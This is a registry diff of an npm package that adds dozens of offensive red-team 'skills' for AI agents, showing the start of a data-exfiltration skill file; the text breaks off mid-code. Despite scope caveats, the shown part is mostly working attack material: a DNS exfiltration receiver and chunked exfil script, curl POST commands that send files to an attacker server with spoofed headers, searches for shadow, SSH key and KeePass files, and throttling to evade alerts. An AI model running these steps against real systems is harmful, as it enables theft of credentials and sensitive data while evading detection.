rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,784 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-data-exfiltration
|
|
3
|
+
description: "Data exfiltration Proof of Concept skill. Minimum viable sample per SEAD authorization. DNS exfiltration via subdomain queries, HTTP POST exfiltration via curl to attacker-controlled server, cloud storage upload (S3, Google Drive), steganography in images, and compressed+encrypted archive transfer. Always follows engagement scope and documents all extracted data for chain of custody."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-data-exfiltration
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use
|
|
9
|
+
|
|
10
|
+
Data exfiltration is the final phase of a successful red team engagement — demonstrating that sensitive data can leave the target environment undetected. This skill covers Proof of Concept (PoC) exfiltration techniques that prove data loss is possible without causing actual harm or violating engagement scope.
|
|
11
|
+
|
|
12
|
+
**Use this skill when:**
|
|
13
|
+
- Post-exploitation foothold is established and SEAD authorization covers data exfiltration
|
|
14
|
+
- The engagement objective includes demonstrating DLP (Data Loss Prevention) bypass
|
|
15
|
+
- You need to prove sensitive data (PII, credentials, IP) can be exfiltrated
|
|
16
|
+
- Testing egress filtering, SIEM detection rules, or DLP tool effectiveness
|
|
17
|
+
|
|
18
|
+
**Do NOT use without:**
|
|
19
|
+
- Written SEAD authorization explicitly covering data exfiltration
|
|
20
|
+
- Defined scope of which systems and data types are in-scope
|
|
21
|
+
- Chain of custody plan for any sampled data
|
|
22
|
+
- Defined data destruction procedures post-engagement
|
|
23
|
+
|
|
24
|
+
**Engagement Minimum Viable Sample Rule:**
|
|
25
|
+
Always extract the minimum viable sample — a screenshot, a single row of a database, or a hash of a file — rather than bulk data. Confirm with the engagement lead before extracting anything beyond proof artifacts.
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## 2. Prerequisites and Tool Setup
|
|
30
|
+
|
|
31
|
+
### 2.1 Required Infrastructure
|
|
32
|
+
|
|
33
|
+
Before executing any exfiltration technique, you need attacker-controlled infrastructure:
|
|
34
|
+
|
|
35
|
+
| Component | Purpose | Minimum Requirement |
|
|
36
|
+
|-----------|---------|---------------------|
|
|
37
|
+
| VPS / Droplet | Receive HTTP/DNS exfil | Any cloud VPS with public IP |
|
|
38
|
+
| Domain | DNS exfil, HTTP staging | Domain with full DNS control |
|
|
39
|
+
| S3 bucket (optional) | Cloud upload exfil | AWS account, bucket with write perms |
|
|
40
|
+
| Burner Google account (optional) | Google Drive upload | Isolated account not tied to identity |
|
|
41
|
+
|
|
42
|
+
### 2.2 Attacker-Side Tool Installation (Kali Linux)
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# Update package index
|
|
46
|
+
sudo apt update
|
|
47
|
+
|
|
48
|
+
# Core network tools
|
|
49
|
+
sudo apt install -y dnsutils curl wget netcat-openbsd socat
|
|
50
|
+
|
|
51
|
+
# DNS exfiltration tooling
|
|
52
|
+
sudo apt install -y python3 python3-pip
|
|
53
|
+
pip3 install dnslib
|
|
54
|
+
|
|
55
|
+
# Steganography tools
|
|
56
|
+
sudo apt install -y steghide exiftool imagemagick
|
|
57
|
+
|
|
58
|
+
# Compression and encryption
|
|
59
|
+
sudo apt install -y p7zip-full gpg openssl
|
|
60
|
+
|
|
61
|
+
# AWS CLI for S3 exfil
|
|
62
|
+
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
|
|
63
|
+
unzip awscliv2.zip
|
|
64
|
+
sudo ./aws/install
|
|
65
|
+
|
|
66
|
+
# gdrive CLI (Google Drive upload)
|
|
67
|
+
wget https://github.com/glotlabs/gdrive/releases/latest/download/gdrive_linux-386.tar.gz
|
|
68
|
+
tar xvf gdrive_linux-386.tar.gz
|
|
69
|
+
sudo mv gdrive /usr/local/bin/
|
|
70
|
+
|
|
71
|
+
# iodine (DNS tunnel)
|
|
72
|
+
sudo apt install -y iodine
|
|
73
|
+
|
|
74
|
+
# DNScat2 (DNS C2 + exfil)
|
|
75
|
+
sudo apt install -y dnscat2
|
|
76
|
+
|
|
77
|
+
# Cloakify (data encoding/obfuscation)
|
|
78
|
+
git clone https://github.com/TryCatchHCF/Cloakify /opt/cloakify
|
|
79
|
+
|
|
80
|
+
# PyExfil (multi-protocol exfil framework)
|
|
81
|
+
pip3 install pyexfil
|
|
82
|
+
|
|
83
|
+
# Egress-Assess (testing egress controls)
|
|
84
|
+
git clone https://github.com/FortyNorthSecurity/Egress-Assess /opt/egress-assess
|
|
85
|
+
cd /opt/egress-assess && pip3 install -r requirements.txt
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
### 2.3 Receiver-Side Setup (on your VPS)
|
|
89
|
+
|
|
90
|
+
```bash
|
|
91
|
+
# Start a simple HTTP receiver
|
|
92
|
+
python3 -m http.server 8080
|
|
93
|
+
|
|
94
|
+
# Or a proper netcat listener for raw data
|
|
95
|
+
nc -lvnp 4444 > received_data.bin
|
|
96
|
+
|
|
97
|
+
# DNS receiver using dnslib (save as dns_receiver.py)
|
|
98
|
+
cat > /opt/dns_receiver.py << 'EOF'
|
|
99
|
+
from dnslib.server import DNSServer, BaseResolver
|
|
100
|
+
from dnslib import RR, QTYPE, A
|
|
101
|
+
import base64, sys
|
|
102
|
+
|
|
103
|
+
class ExfilResolver(BaseResolver):
|
|
104
|
+
def resolve(self, request, handler):
|
|
105
|
+
qname = str(request.q.qname)
|
|
106
|
+
label = qname.split('.')[0]
|
|
107
|
+
try:
|
|
108
|
+
decoded = base64.b32decode(label.upper().replace('8', '='))
|
|
109
|
+
print(f"[EXFIL] {decoded}")
|
|
110
|
+
with open("exfil_output.txt", "ab") as f:
|
|
111
|
+
f.write(decoded + b"\n")
|
|
112
|
+
except Exception as e:
|
|
113
|
+
print(f"[INFO] {qname} ({e})")
|
|
114
|
+
reply = request.reply()
|
|
115
|
+
reply.add_answer(RR(request.q.qname, QTYPE.A, rdata=A("127.0.0.1"), ttl=60))
|
|
116
|
+
return reply
|
|
117
|
+
|
|
118
|
+
server = DNSServer(ExfilResolver(), port=53, address="0.0.0.0")
|
|
119
|
+
server.start()
|
|
120
|
+
EOF
|
|
121
|
+
sudo python3 /opt/dns_receiver.py
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## 3. Skill Levels
|
|
127
|
+
|
|
128
|
+
### BEGINNER — Understand Before You Touch
|
|
129
|
+
|
|
130
|
+
**Goal:** Learn what exfiltration is, read detection telemetry, understand egress controls.
|
|
131
|
+
|
|
132
|
+
**Key concepts to master first:**
|
|
133
|
+
- Difference between egress filtering and DLP
|
|
134
|
+
- What makes traffic "normal" vs. anomalous
|
|
135
|
+
- Common ports allowed outbound: 80, 443, 53, 123 (NTP)
|
|
136
|
+
- What a SIEM alert looks like for large outbound transfers
|
|
137
|
+
|
|
138
|
+
**Beginner exercises (lab only):**
|
|
139
|
+
|
|
140
|
+
```bash
|
|
141
|
+
# Check what egress is allowed from target (run on target after foothold)
|
|
142
|
+
curl -s http://ifconfig.me # Can we reach internet over HTTP?
|
|
143
|
+
curl -s https://ifconfig.me # HTTPS?
|
|
144
|
+
nslookup google.com 8.8.8.8 # DNS to external resolver?
|
|
145
|
+
ping -c 4 8.8.8.8 # ICMP egress allowed?
|
|
146
|
+
|
|
147
|
+
# Identify sensitive files worth exfiltrating (in-scope only)
|
|
148
|
+
find /home -name "*.pem" 2>/dev/null
|
|
149
|
+
find /etc -name "shadow" 2>/dev/null
|
|
150
|
+
find / -name "*.kdbx" 2>/dev/null # KeePass databases
|
|
151
|
+
find / -name "id_rsa" 2>/dev/null # SSH private keys
|
|
152
|
+
locate "*.conf" | grep -i "password" 2>/dev/null
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
### INTERMEDIATE — Basic Exfiltration Channels
|
|
158
|
+
|
|
159
|
+
**Goal:** Execute simple exfiltration over HTTP and DNS.
|
|
160
|
+
|
|
161
|
+
#### DNS Exfiltration (Subdomain Encoding)
|
|
162
|
+
|
|
163
|
+
DNS is allowed outbound from almost every network. Encode data as subdomains of an attacker-controlled domain.
|
|
164
|
+
|
|
165
|
+
```bash
|
|
166
|
+
# ATTACKER VPS: Start DNS receiver (see Section 2.3)
|
|
167
|
+
|
|
168
|
+
# TARGET MACHINE: Encode and send data via DNS
|
|
169
|
+
# Step 1: Prepare data sample (minimum viable — one line of /etc/passwd)
|
|
170
|
+
DATA=$(head -1 /etc/passwd | base32 | tr -d '=' | tr '[:upper:]' '[:lower:]')
|
|
171
|
+
|
|
172
|
+
# Step 2: Send as DNS query
|
|
173
|
+
dig ${DATA}.exfil.yourdomain.com @your-vps-ip A
|
|
174
|
+
|
|
175
|
+
# Automated chunked DNS exfil (files > 63 chars need chunking)
|
|
176
|
+
cat > /tmp/dns_exfil.sh << 'SCRIPT'
|
|
177
|
+
#!/bin/bash
|
|
178
|
+
TARGET_DOMAIN="exfil.yourdomain.com"
|
|
179
|
+
NS_SERVER="your-vps-ip"
|
|
180
|
+
FILE="$1"
|
|
181
|
+
CHUNK_SIZE=30
|
|
182
|
+
|
|
183
|
+
base32 < "$FILE" | tr -d '=' | tr '[:upper:]' '[:lower:]' | \
|
|
184
|
+
fold -w $CHUNK_SIZE | \
|
|
185
|
+
while read chunk; do
|
|
186
|
+
dig "${chunk}.${TARGET_DOMAIN}" @${NS_SERVER} A > /dev/null 2>&1
|
|
187
|
+
sleep 0.5 # Throttle to avoid triggering volume alerts
|
|
188
|
+
done
|
|
189
|
+
echo "DONE" | base32 | tr -d '=' | tr '[:upper:]' '[:lower:]' | \
|
|
190
|
+
xargs -I{} dig "{}.${TARGET_DOMAIN}" @${NS_SERVER} A > /dev/null 2>&1
|
|
191
|
+
SCRIPT
|
|
192
|
+
chmod +x /tmp/dns_exfil.sh
|
|
193
|
+
/tmp/dns_exfil.sh /tmp/sample.txt
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
#### HTTP POST Exfiltration
|
|
197
|
+
|
|
198
|
+
```bash
|
|
199
|
+
# ATTACKER VPS: Start HTTP receiver
|
|
200
|
+
cat > /opt/http_receiver.py << 'EOF'
|
|
201
|
+
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
202
|
+
import sys, os
|
|
203
|
+
|
|
204
|
+
class ExfilHandler(BaseHTTPRequestHandler):
|
|
205
|
+
def do_POST(self):
|
|
206
|
+
length = int(self.headers.get('Content-Length', 0))
|
|
207
|
+
data = self.rfile.read(length)
|
|
208
|
+
fname = self.path.strip('/').replace('/', '_') or 'exfil.bin'
|
|
209
|
+
with open(f"/opt/received/{fname}", 'wb') as f:
|
|
210
|
+
f.write(data)
|
|
211
|
+
print(f"[+] Received {len(data)} bytes -> /opt/received/{fname}")
|
|
212
|
+
self.send_response(200)
|
|
213
|
+
self.end_headers()
|
|
214
|
+
def log_message(self, *args): pass
|
|
215
|
+
|
|
216
|
+
os.makedirs("/opt/received", exist_ok=True)
|
|
217
|
+
HTTPServer(("0.0.0.0", 8080), ExfilHandler).serve_forever()
|
|
218
|
+
EOF
|
|
219
|
+
python3 /opt/http_receiver.py
|
|
220
|
+
|
|
221
|
+
# TARGET MACHINE: POST data to receiver
|
|
222
|
+
# Single file
|
|
223
|
+
curl -s -X POST http://your-vps-ip:8080/sample.txt \
|
|
224
|
+
--data-binary @/tmp/sample.txt
|
|
225
|
+
|
|
226
|
+
# With fake User-Agent to blend in
|
|
227
|
+
curl -s -X POST http://your-vps-ip:8080/data \
|
|
228
|
+
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
|
|
229
|
+
-H "Content-Type: application/octet-stream" \
|
|
230
|
+
--data-binary @/tmp/sample.txt
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
---
|
|
234
|
+
|
|
235
|
+
### ADVANCED — Evasion and Alternative Channels
|
|
236
|
+
|
|
237
|
+
**Goal:** Bypass DLP, egress filters, and proxy inspection.
|
|
238
|
+
|
|
239
|
+
#### HTTPS with Certificate Pinning Bypass
|
|
240
|
+
|
|
241
|
+
```bash
|
|
242
|
+
# ATTACKER VPS: Get a real TLS cert (Let's Encrypt)
|
|
243
|
+
sudo apt install certbot
|
|
244
|
+
sudo certbot certonly --standalone -d exfil.yourdomain.com
|
|
245
|
+
|
|
246
|
+
# Run HTTPS receiver with valid cert
|
|
247
|
+
cat > /opt/https_receiver.py << 'EOF'
|
|
248
|
+
import ssl, os
|
|
249
|
+
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
250
|
+
|
|
251
|
+
class ExfilHandler(BaseHTTPRequestHandler):
|
|
252
|
+
def do_POST(self):
|
|
253
|
+
length = int(self.headers.get('Content-Length', 0))
|
|
254
|
+
data = self.rfile.read(length)
|
|
255
|
+
